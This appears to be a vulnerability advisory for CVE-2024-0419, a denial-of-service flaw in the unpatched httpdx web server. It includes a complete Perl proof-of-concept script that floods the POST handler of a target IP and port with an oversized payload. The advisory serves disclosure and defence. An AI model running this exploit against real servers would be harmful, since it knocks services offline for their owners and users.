Improper Resource Shutdown or Release Affecting httpdx package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.14% (68th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-HTTPDX-6158539
  • published16 Jan 2024
  • disclosed11 Jan 2024
  • creditFernando Mengali

Introduced: 11 Jan 2024

CVE-2024-0419  (opens in a new tab)
CWE-404  (opens in a new tab)

How to fix?

There is no fixed version for httpdx.

Overview

Affected versions of this package are vulnerable to Improper Resource Shutdown or Release via the HTTP POST Request Handler. An attacker can disrupt service by manipulating the request process.

PoC

$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $sock = IO::Socket::INET->new("$ip:$port");
my $exploit = "\x41"x1040;
print $sock "POST /index2.html HTTP/1.0\r\n" .
"Content-Length: 1023\r\n" .
"Content-Type: html\r\n" .
"Host: $ip" . "\r\n" .
"\r\n" .
$exploit;
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print q {
---------- # ------------------------------------------------------------------
--------- ##= -------------- [+] httpdx 1.5.4 - Denied of Service (DoS) -------
-------- ##=== ----------------------------------------------------------------
------ ###==#=== --------------------------------------------------------------
---- ####===##==== ------------------------------------------------------------
-- #####====###===== ----- Coded by Fernando Mengali -----
- #####=====####===== ----- fernando.mengalli@gmail.com -----
- #####=====####===== ---------------------------------------------------------
--- ####= # #==== -------- Prepare to exploiting the server ------------
--------- ##= -----------------------------------------------------------------
------- ####=== ---------------------------------------------------------------
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}

CVSS Base Scores

version 3.1